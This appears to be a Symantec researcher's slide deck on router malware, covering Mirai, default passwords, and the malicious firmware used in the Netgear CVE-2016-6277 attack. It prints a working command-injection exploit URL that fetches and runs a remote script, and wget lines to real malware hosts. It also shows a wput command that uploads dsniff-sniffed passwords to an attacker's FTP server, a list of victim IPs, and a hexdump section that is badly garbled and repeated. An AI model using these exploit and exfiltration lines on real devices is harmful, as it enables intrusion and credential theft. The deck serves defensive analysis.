

The router of all evil: More than just default passwords and silly scripts

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Threat Analysis Engineer



Special Thanks

Karthikeyan Kasiviswanathan

This work would not have been possible without the advice and support

- My whole Team @Symantec
- #MalwareMustDie

About Me




- Working as Threat Analysis Engineer with IPS Operations
- Hobbies are exploit dev, exploit analysis, reversing, AI, CTF...




Introduction to Router



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Basic structure



Importance of Routers

- Serves as the default gateway for computers on LAN
- Helps restrict traffic by limiting hosts to communicate through broadcast
- Capable of wireless access point, allowing them to broadcast a Wi-Fi signal to surrounding devices
- Serves an ideal location for additional network services such as firewall.

Remember this

_ _ _,_ \ _ _\ / _,_ \ _ _(_)

A DIY Guide

Shadow Brokers

CrDj"(;Va.*NdlnzB9M?@K2)#>deB7mN

[FREE] World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC source code release

Yesterday, 12:50 PM (This post was last modified: Yesterday 04:29 PM by Anna-senpai.)



Preface

Greetz everybody,

When I first go in DDoS industry, I wasn't planning on staying in it long. I made my money, there's lots of eyes looking at IOT now, so it However, I know every skid and their mama, it's their wet dream to have something besides qbot.

So today, I have an amazing release for you. With Miral, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS, shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.

So, I am your senpai, and I will treat you real nice, my hf-chan.

What's common in the last 3 slides.



Why attack routers



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Why attack routers

- For DDoS
- Harvesting credentials
- Sniffing all the network traffic
- Injecting advertisement



Attacking Routers



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Attack Vectors

1	Default password
2	DNS changer
3	Exploit Frameworks

Default password

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Anna-senpai &

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
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
So, I am your senpai, and I will treat you real nice, my hf-chan.

Top Default passwords

Top user names	Top passwords
root	admin
admin	root
DUP root	123456
ubnt	12345
access	ubnt
DUP admin	password
test	1234
oracle	test
postgres	qwerty
pi	raspberry

DNS changer





Equation group dump



Directory Name	Exploit Name
EGBL	EGREGIOUSBLUNDER
ELBA	ELIGIBLEBACHELOR
ELBO	ELIGIBLEBOMBSHELL
ELCA	ELIGIBLECANDIDATE
ELCO	ELIGIBLECONTESTANT
ESPL	ESCALATEPLOWMAN
EXBA	EXTRABACON
EPBA	EPICBANANA

Types of malwares

1	Script base Malwares
2	Compiled binary's : ELF
3	Firmware

Script base malware

 Shellshock exploitation (CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186 and CVE-2014-7187), which was used to compromise routers and infect them with .ELF malware, as well as infect them using Perl-based IRC bots.

Common traits

File Edit Format View Help	
<pre>#!/bin/bashicd /tmp cd /var/run cd /mnt cd /root cd /; wget</pre>	f f;

Compiled binary's

– Mirai

which was a worm and was targeting default routers passwords

Firmware

- Netgear Router Attack
- Remote flashing of firmware.
- The Netgear router attack (CVE-2016-6277) and the analysis of malicious firmware associated with it, which was flashed remotely, as well as the use of the Firmware Mod Kit (FMK) for the development of malicious firmware.

Exploit

 http://<IPADDRESS>/cgibin/;nvram\$IFS\set\$IFS\http_passwd;nvram\$IFS\set\$IFS\http_u sername;nvram\$IFS\commit;sleep\$IFS\2;cd\$IFS\/tmp;wget\$IFS\ http:\/\/<IPADDRESS>\/h\/wrt\/uge.sh;chmod\$IFS\777\$IFS\/tm p/uge.sh;/bin/sh\$IFS\/tmp/uge.sh

Shell Script

#cd /tmp

```
##!!!!!! wget http://178
.57.115.231:8081/h/wrt/custom_image_00021.bin &
wget http://94 .156.35.78/h/wrt/112.bin &
process_id=$!
wait $process_id
```

write 112.bin linux

/sbin/reboot

Binwalk

DECIMAL

28

2472

HEXAD

0x0

0x1C

0x9A8

linux kernel offs

0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0000h: 1C 00 00 00 00 00 01 01 00 01 00 01 00 01 00 01 00 01 00 01
0010h: 1C 00 00 00 A8 09 00 00 4C 0E 00 1F 8B 08 00 0020h: 00 00 00 00 00 02 03 8D 57 4D 6C 54 D7 15 FE DE 7D 0030h:
0020h: 00 00 02 03 8D 57 4D 6C 54 D7 15 FE DE 7D 0030h: CF F6 00 36 B9 1E 86 64 8C 50 FA AE 7D 6D 4F OD
0030h: CF F6 00 36 B9 1E 86 64 8C 50 FA AE 7D 6D 4F 0D 6d.P}mO. 0040h: A8 23 34 42 4E 35 AD 9E 66 4C 60 91 46 13 12 B5 4BN5fL'.F 0050h: 55 54 55 C6 98 14 24 DA 5A 02 35 59 64 F1 62 DC UTU\$.Z.5Yd.b. 0060h: C8 8A 8C DF 44 A5 AD 17 59 8C 8C 0D 5E 4C 3D 94 DY^L=. 0070h: FC 34 8B A4 B1 0C 49 BB A0 52 2A B1 88 DA 45 47 DY^L=. 0070h: C3 48 BA 48 B1 0C 49 BB A0 52 2A B1 88 DA 45 47 DY^L=. 0080h: 04 29 AC A2 48 95 02 CA DF EB 77 E6 27 B8 84 8A L.HW.' 0090h: 22 8D C6 EF CE 79 E7 FB CE 39 DF 39 F7 50 0A 37 fJF f
0040h: A8 23 34 42 4E 35 AD 9E 66 4C 60 91 46 13 12 B5 #4BN5fL`.F 0050h: 55 54 55 C6 98 14 24 DA 5A 02 35 59 64 F1 62 DC UTU\$.Z.5Yd.b. 0060h: C8 8A 8C DF 44 A5 AD 17 59 8C 8C 0D 5E 4C 3D 94 DY^L=. 0070h: FC 34 8B A4 B1 0C 49 BB A0 52 2A B1 88 DA 45 47 DY^L=. 0080h: 04 29 AC A2 48 95 02 CA DF EB 77 E6 27 B8 84 8A DY9.9.P.7 0080h: 59 60 65 0E 98 AD 7A 58 F6 3D CC F8 23 89 F3 F8 y9.9.P.7 0080h: 59 60 65 0E 98 AD 7A 58 F6 3D CC F8 23 89 F3 F8 yfT.s 0000h: 2C F6 53 E0 3F 27 D4 01 76 F6 5A 3B 9B 55 69 F8 ft.mNfT.c.F 0000h: 49 39 9B 7E A9 17 0A 09 EB CD 66 54 E8 26 AD 2D ft.mNft.c. 00F0h: 09 04 D8 66 BD 85 6D 4E 1F 9E 54 C9 00 E8 43 46 ft.mNft.c.F 00F0h: 09 04 D8 66 BD 85 6D 4E 1F 9E 54 CD 00 E8 43 46 ft.mNft.c. 0110h: B7 BF 8A 37 6D 37 41 AF 63 16 00 53 01 46 91 C8 7m7A.cS.F. DECINAL DESCRIPTION TMAC.S.F. TRX firmware header, little endian, image size: 3608576 bytes, CRC32: 0x1F6981FF, flags: 0x0, version: 1, header si Set: 0x9A8, rootfs offset: 0xE4C00<
0050h: 55 54 55 C6 98 14 24 DA SA 02 35 59 64 F1 62 DC 0060h: C8 8A 8C DF 44 A5 AD 17 59 8C 8C DD 52 2A B1 88 DA 45 47 <t< td=""></t<>
0060h: C8 8A 8C DF 44 A5 AD 17 59 8C 8C 0D 5E 4C 3D 94 DY^L=. 0070h: FC 34 8B A4 B1 0C 49 BB A0 52 2A B1 88 DA 45 47 DY^L=. 0080h: 04 29 AC A2 48 95 02 CA DF EB 77 E6 27 B8 84 8A DY^L=. 0090h: 22 8D C6 EF CE 79 E7 FB CE 39 DF 39 F7 50 0A 37 "y9.9.P.7 00A0h: E7 81 31 83 B0 23 9F ED 5D B6 08 3B F3 FA 5B EF y9.9.P.7 00A0h: 2C F6 53 E0 3F 27 D4 01 76 F6 5A 3B 9B 55 69 F8 f.# 00C0h: 2C F6 53 E0 3F 27 D4 01 76 F6 5A 3B 9B 55 69 F8 E84.z"g 00F0h: 09 04 D8 66 BD 85 6D 4E 1F 9E 54 C9 00 E8 43 46 E84.z"g 00F0h: 09 04 D8 66 BD 85 6D 4E 1F 9E 54 C9 00 E8 43 46 f.mNTCF 010h: B7 BF 8A 37 6D 37 41 AF 63 16 00 53 01 46 91 C8 7m7A.cS.F. DECIMAL DESCRIPTION TMY firmware header, little endian, image size: 3608576 bytes, CRC32: 0x1F6981FF, flags: 0x0, version: 1, header size: 3408576 bytes, rootfs offset: 0x84, rootfs offset: 0xE4C00
0070h: FC 34 8B A4 B1 0C 49 BB A0 52 2A B1 88 DA 45 47 .4I.R*EG 0080h: 04 29 AC A2 48 95 02 CA DF EB 77 E6 27 B8 84 8A Y9.9.9.P.7 0090h: 22 8D C6 EF CE 79 E7 FB CE 39 DF 39 F7 50 0A 37 "Y9.9.9.P.7 00A0h: E7 81 31 83 B0 23 9F ED 5D B6 08 3B F3 FA 5B EF Y9.9.9.P.7 00B0h: 59 60 65 0E 98 AD 7A 58 F6 3D CC F8 23 89 F3 F8 Y'ezX.=# 00C0h: 2C F6 53 E0 3F 27 D4 01 76 F6 5A 3B 9B 55 69 F8 S.?'2; Ui 00D0h: 49 39 9B 7E A9 17 0A 09 EB CD 66 54 E8 26 AD 2D fTMNTCF 00F0h: 09 04 D8 66 BD 85 6D 4E 1F 9E 54 C9 00 E8 43 46 f.mNTCF 0100h: 25 CB 74 50 0F 03 DC E4 27 4C E4 CD C1 A4 43 94 7m7A.cS.F. DECIMAL DESCRIPTION TRX firmware header, little endian, image size: 3600576 bytes, CRC32: 0x1F6981FF, flags: 0x0, version: 1, header si set: 0x9A8, rootfs offset: 0xE4C00
0080h: 04 29 AC A2 48 95 02 CA DF EB 77 E6 27 B8 84 8A .).Hw.' 0090h: 22 8D C6 EF CE 79 E7 FB CE 39 DF 39 F7 50 0A 37 "y9.9.P.7 00A0h: E7 81 31 83 B0 23 9F ED 5D B6 08 3B F3 FA 5B EF y
0090h: 22 8D C6 EF CE 79 E7 FB CE 39 DF 39 F7 50 0A 37 00A0h: E7 81 31 83 B0 23 9F ED 5D B6 08 3B F3 FA 5B EF 1.1.#];.[. 00B0h: 59 60 65 0E 98 AD 7A 58 F6 3D CC F8 23 89 F3 F8 Ye2X.=# Ye2X.=# Ye2X.=# Ye2X.=# Ye2X.=# Ye2X.=# Ye2X.=# Ye2X.=# Ye2X.=#t Ye2X.=#t Ye2X.=#t Ye2X.=#t Ye2X.=#t Ye2X.=#t Ye2X.=#t Ye2X.=#t Yee2X.=#t Yee1tt.t.t. Yee2X.=#t Yee1tt.t.t. Yee1tt.t.t.t.t. Yee1tttt.t.t.t.t. Yee1tttttttt
OOAOn: E7 81 31 83 BO 23 9F ED 5D B6 08 3B F3 FA 5B EF 1.#].;.[. OOBON: 59 60 65 0E 98 AD 7A 58 F6 3D CC F8 23 89 F3 F8 Y'e2X.=# OOCON: 2C F6 53 EO 3F 27 D4 01 76 F6 5A 3B 9B 55 69 F8 ,.S.?'2;.UI. OODON: 49 39 9B 7E A9 17 0A 09 EB CD 66 54 E8 26 AD 2D I9.~fT.& OOEON: 97 D4 FA CB 49 38 38 34 84 7A 22 67 03 ED 14 8A I.884.z"g OOFON: 09 04 D8 66 BD 85 6D 4E 1F 9E 54 C9 00 E8 43 46 f.mNTCF O100h: 25 CB 74 50 0F 03 DC E4 27 4C E4 CD C1 A4 43 94 %tP'LC. O110h: B7 BF 8A 37 6D 37 41 AF 63 16 00 53 01 46 91 C8 7m7A.cS.F.
00B0h: 59 60 65 0E 98 AD 7A 58 F6 3D CC F8 23 89 F3 F8 Y'ezX.=# 00C0h: 2C F6 53 E0 3F 27 D4 01 76 F6 5A 3B 9B 55 69 F8 ,S.?'v.Z;.Ui. 00D0h: 49 39 9B 7E A9 17 0A 09 EB CD 66 54 E8 26 AD 2D ,fT,fT.& 00E0h: 97 D4 FA CB 49 38 38 34 84 7A 22 67 03 ED 14 8A 00F0h: 09 04 D8 66 BD 85 6D 4E 1F 9E 54 C9 00 E8 43 46 f.mNTCF %.tP'LC. f.mNTCF %.tP'LC. 7m7A.cS.F. 0ECIMAL DESCRIPTION TRX firmware header, l
00COh: 2C F6 53 E0 3F 27 D4 01 76 F6 5A 3B 9B 55 69 F8 ,.S.?'v.2;.Ui. 00Doh: 49 39 9B 7E A9 17 0A 09 EB CD 66 54 E8 26 AD 2D 19.~ft.& 00EOh: 97 D4 FA CB 49 38 38 34 84 7A 22 67 03 ED 14 8A 19.~ft.& 00Foh: 09 04 D8 66 BD 85 6D 4E 1F 9E 54 C9 00 E8 43 46 I884.z"g 0100h: 25 CB 74 50 0F 03 DC E4 27 4C E4 CD C1 A4 43 94 f.mNTCF 0110h: B7 BF 8A 37 6D 37 41 AF 63 16 00 53 01 46 91 C8 7m7A.cS.F. DECIMAL DESCRIPTION
00DOh: 49 39 9B 7E A9 17 0A 09 EB CD 66 54 E8 26 AD 2D I9.~fT.& 00EOh: 97 D4 FA CB 49 38 38 34 84 7A 22 67 03 ED 14 8A I.I.1884.z"g 00F0h: 09 04 D8 66 BD 85 6D 4E 1F 9E 54 C9 00 E8 43 46 f.mNTCF 0100h: 25 CB 74 50 0F 03 DC E4 27 4C E4 CD C1 A4 43 94 f.mNTCF 0110h: B7 BF 8A 37 6D 37 41 AF 63 16 00 53 01 46 91 C8 7m7A.cS.F. DECIMAL DESCRIPTION TRX firmware header, little endian, image size: 3608576 bytes, CRC32: 0x1F6981FF, flags: 0x0, version: 1, header si set: 0x9A8, rootfs offset: 0xE4C00
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fset: 0x9A8, rootfs offset: 0xE4C00
IR LZMA compressed data, properties: 0x6E, dictionary size: 2097152 bytes, uncompressed size: 2990080 bytes

Directory structure

• | ---- fstab

- | ---- group -> /tmp/etc/group
 - hosts -> /tmp/hosts
- | init.d
- | | |--- rcS
- | | └── S01dummy

Inside the Script

"/usr/bin/wput)cat /tmp/h5.sh | cut -c 1-4).)date +%H-%M-%d-%m-%y)_)cat /tmp/i5.sh).txt
 ftp://sammy:sssss@94.156.35.78/mnt/hdd/backup/ds/ &". It looks like the command is uploading some text file to the ftp server with filename formatted like "<COUNTRY'S FIRST 4 LETTER>.<DATE IN DD MM YY>.<IPADDRESS OF THE DEVICE>.txt" to "ftp:// 94.156.35.78/mnt/hdd/backup/ds/"

What it was Uploading

- "/usr/sbin/dsniff -i)nvram get lan_ifname) >/tmp/ds/ds5.txt"
- The tool is configured to sniff passwords and push them to a text file. This file is what is later uploaded to the ftp

Inside the FTP

Index of ftp://	/mnt/hdd/backup/ds/			
Up to higher level directory				
Name		Size	Last Modified	
🖹 Aust.12-36-19-12-16_62.93.122.102.txt		5 KB	12/19/2016	04:36:00 AM
Aust.13-08-19-12-16_82.218.207.131.txt			12/19/2016	05:07:00 AM
Aust.13-15-19-12-16_93.82.236.50.txt			12/19/2016	05:14:00 AM
Aust.13-52-19-12-16_85.13.46.199.txt		5 KB	12/19/2016	05:51:00 AM
Aust.14-15-19-12-16_88.116.128.58.txt		6 KB	12/19/2016	06:14:00 AM
Aust.15-03-19-12-16_91.114.22.206.txt		6 KB	12/19/2016	07:03:00 AM
Aust.16-00-19-12-16_88.116.128.58.txt		6 KB	12/19/2016	07:59:00 AM
📄 Bulg.00-01-05-01-70_212.43.40.86.txt		11 KB	12/19/2016	07:47:00 AM
Bulg.00-05-05-01-70_212.43.40.86.txt		7 KB	12/19/2016	07:51:00 AM
📄 Bulg.00-25-05-01-70_212.43.40.86.txt		7 KB	12/19/2016	08:12:00 AM
📄 Bulg.13-57-19-12-16_93.152.157.144.txt		6 KB	12/19/2016	05:57:00 AM
Bulg.14-09-19-12-16_78.90.2.241.txt		7 KB	12/19/2016	06:09:00 AM
Bulg.14-13-19-12-16_78.90.2.241.txt		6 KB	12/19/2016	06:14:00 AM
Bulg.14-51-19-12-16_78.90.2.241.txt		5 KB	12/19/2016	06:51:00 AM
Bulg.14-57-19-12-16_78.90.2.241.txt		6 KB	12/19/2016	06:57:00 AM
Bulg.15-22-19-12-16_78.90.2.241.txt		6 KB	12/19/2016	07:22:00 AM
🛅 Bulg.15-22-19-12-16_93.183.175.224.txt		6 KB	12/19/2016	07:22:00 AM
Bulg.15-37-19-12-16_78.90.2.241.txt		6 KB	12/19/2016	07:37:00 AM
📄 Bulg.15-51-19-12-16_78.90.112.143.txt		6 KB	12/19/2016	07:52:00 AM
📄 Bulg.15-53-19-12-16_78.90.2.241.txt		5 KB	12/19/2016	07:53:00 AM
📄 Bulg.16-10-19-12-16_78.90.2.241.txt		6 KB	12/19/2016	08:10:00 AM
Bulg.21-34-04-01-70_212.43.40.86.txt		8 KB	12/19/2016	05:20:00 AM
Bulg.21-38-04-01-70_212.43.40.86.txt		9 KB	12/19/2016	05:24:00 AM
Bulg.22-03-04-01-70_212.43.40.86.txt		6 KB	12/19/2016	05:49:00 AM
Bulg.22-27-04-01-70_212.43.40.86.txt		8 KB	12/19/2016	06:14:00 AM
Bulg.22-46-04-01-70_212.43.40.86.txt		6 KB	12/19/2016	06:32:00 AM
Bulg.22-54-04-01-70_212.43.40.86.txt		7 KB	12/19/2016	06:41:00 AM



Demo




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Best Practices

- Keep the firmware of your router updated
- Do not use Default passwords
- Try using strong and unique passwords for router login







Q&A



Thank you!

Himanshu Anand

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